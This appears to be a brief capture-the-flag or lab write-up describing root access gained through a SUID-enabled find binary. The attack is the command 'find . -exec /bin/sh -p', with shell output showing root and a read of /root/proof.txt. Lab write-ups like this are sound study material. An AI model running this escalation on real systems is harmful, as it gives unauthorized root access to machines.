Last updated 2 years ago
Upon initial enumreation I found that find was running with SUID.
find . -exec /bin/sh -p \; -quit
And we are root!
# whoami whoami root # cat /root/proof.txt